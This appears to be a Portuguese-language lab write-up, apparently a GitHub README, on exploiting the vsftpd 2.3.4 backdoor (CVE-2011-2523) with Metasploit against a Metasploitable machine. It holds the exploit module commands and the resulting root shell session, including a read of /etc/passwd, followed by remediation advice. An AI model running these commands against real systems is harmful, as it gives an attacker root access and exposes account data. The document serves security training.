💥 Relatório de Exploração de Backdoor vsftpd 2.3.4

Exploração de uma vulnerabilidade conhecida em vsftpd 2.3.4 usando Metasploit.

📌 Detalhes do Alvo

IP do Alvo: 192.168.150.133
Serviço: FTP
Versão Vulnerável: vsftpd 2.3.4
Módulo de Exploração: exploit/unix/ftp/vsftpd_234_backdoor
Payload: Shell de comando (TCP)

🔍 Resumo da Vulnerabilidade

vsftpd 2.3.4 contém um backdoor malicioso que abre um shell de comando na porta 6200 quando um nome de utilizador especialmente criado (terminando em :)) é recebido.

CVE: CVE-2011-2523

🚀 Passos de Exploração

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.150.133
run

💥 Acesso ao Shell Obtido:

whoami
> root

id
> uid=0(root) gid=0(root)

hostname
> metasploitable

uname -a
> Linux metasploitable 2.6.24-16-server #1 SMP ...

cat /etc/passwd
> root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  ...

🔐 Impacto

O acesso ao shell root dá ao atacante controlo total sobre o sistema alvo — incluindo escalonamento de privilégios, movimento lateral, exfiltração de dados e acesso persistente.

✅ Recomendação

Não use vsftpd 2.3.4.
Atualize para uma versão segura e suportada.
Restrinja o acesso externo ao FTP.
Monitore tráfego suspeito na porta 6200.

📄 Relatório

📝 Relatório PDF completo disponível neste repositório: vsftpd-exploit-report.pdf

📚 Referências

👨‍💻 Autor

Feito com 🔥 por vedpakhare

vsftpd-234-vuln-report

Mais Populares